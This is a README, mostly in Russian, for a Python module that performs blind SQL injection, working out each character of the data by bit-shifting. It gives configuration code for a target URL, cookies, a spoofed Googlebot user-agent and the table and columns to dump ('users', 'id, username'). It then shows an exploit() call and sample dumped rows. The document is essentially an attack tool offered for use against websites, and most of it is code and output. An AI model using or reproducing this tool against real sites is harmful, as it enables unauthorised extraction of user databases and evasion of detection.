
Модуль слепой SQL-инъекции, использующий bitshfting для вычисления символов.
Это модуль, который выполняет слепую SQL-инъекцию с использованием метода битового сдвига для вычисления символов вместо их угадывания. Он требует 7/8 запросов на символ, в зависимости от конфигурации.
import blind-sql-bitshifting as x
# Edit this dictionary to configure attack vectors
x.options
# Vulnerable link
x.options["target"] = "http://www.example.com/index.php?id=1"
# Specify cookie (optional)
x.options["cookies"] = ""
# Specify a condition for a specific row, e.g. 'uid=1' for admin (optional)
x.options["row_condition"] = ""
# Boolean option for following redirections
x.options["follow_redirections"] = 0
# Specify user-agent
x.options["user_agent"] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
# Specify table to dump
x.options["table_name"] = "users"
# Specify columns to dump
x.options["columns"] = "id, username"
# String to check for on page after successful statement
x.options["truth_string"] = "<p id='success'>true</p>"
# See below
x.options["assume_only_ascii"] = 1
Параметр assume_only_ascii заставляет модуль предполагать, что все извлекаемые символы являются ASCII. Поскольку набор символов ASCII достигает только 127, мы можем установить первый бит в 0 и не беспокоиться о его вычислении. Это сокращает количество запросов на 12.5%. При локальном тестировании это дало среднее увеличение скорости на 15%. Конечно, это может вызвать проблемы при извлечении символов, выходящих за пределы диапазона ASCII. По умолчанию установлено значение 0.
После настройки:
data = x.exploit()
Это возвращает двумерный массив, каждый подмассив содержит одну строку, причем первым идет заголовок столбцов.
Пример вывода:
[['id', 'username'], ['1', 'user1'], ['2', 'user2'], ['3', 'user3'], ['4', 'user4']]
При желании ваши скрипты могут использовать модуль tabulate для вывода данных:
from tabulate import tabulate
data = x.exploit()
print tabulate(data,
headers='firstrow', # This specifies to use the first row as the column headers.
tablefmt='psql') # Using the SQL output format. Other formats can be used.
Это выведет:
+------+------------+
| id | username |
|------+------------|
| 1 | user1 |
| 2 | user2 |
| 3 | user3 |
| 4 | user4 |
+------+------------+